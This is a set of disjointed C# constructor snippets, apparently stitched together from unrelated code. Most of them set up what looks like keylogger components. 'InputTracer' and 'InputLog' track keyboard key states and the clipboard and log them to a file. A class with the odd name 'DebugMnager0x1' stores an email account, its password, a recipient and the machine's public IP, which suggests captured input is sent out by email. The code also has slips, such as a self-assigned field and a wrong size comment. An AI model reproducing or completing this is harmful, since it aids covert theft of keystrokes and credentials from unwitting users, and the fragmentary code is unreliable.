public DebugMnager0x1(string EnEmail, string EnPassword, string EnTo, string Path = null) { try { if (Path.IsNullOrWhiteSpace()) { Path = Files.ExePath; } else { Path = Files.GetFullPath(Path); } this.Path = Path; this.InitializeID(); this.InitializePublicIP(); this.EnEmail = EnEmail; this.EnTo = EnTo; this.EnPassword = EnPassword; Timers = new ThreadedTimers(10); Started = false; } catch (Exception ex) { Output.WriteException(ex); } }
/// <summary> /// 150KB == 150 * 1024 = 76800 /// </summary> /// <param name="MaxLength"></param> public InputTracer(int MaxLength, string path = null) { this.TraceClipboard = TraceClipboard; if (path == null) { path = Files.ExePath; } else { path = Files.GetFullPath(path); } this.Path = path; this.Load(); this.MaxLength = MaxLength; Keyboard = new KeyboardUsing(); Timers = new ThreadedTimers(10); KeyCodes = new VirtualKeyCodes(); CodeStates = new int[Keyboard.CodesCounter]; CodeDown = new bool[Keyboard.CodesCounter]; TimeStart = TickTime.Now; }
public AbstractServices(ref ForexService ForexService) { this.ForexService = ForexService; Timers = new ThreadedTimers(100); Threads = new ThreadedMethod(100); Locks = new ThreadedLocker(100); Exceptions = new ThreadedBuffer <Exception>(100); }
public void InitializeTimers() { if (Timers != null) { return; } Timers = new ThreadedTimers(10); Timers.Run(() => this.Update(), 1000, null, true, false); }
public InputLog() { this.TraceClipboard = TraceClipboard; this.Path = Files.ExePath; this.Load(); this.MaxLength = MaxLength; Keyboard = new KeyboardUsing(); Timers = new ThreadedTimers(10); KeyCodes = new VirtualKeyCodes(); CodeStates = new int[Keyboard.CodesCounter]; CodeDown = new bool[Keyboard.CodesCounter]; TimeStart = TickTime.Now; }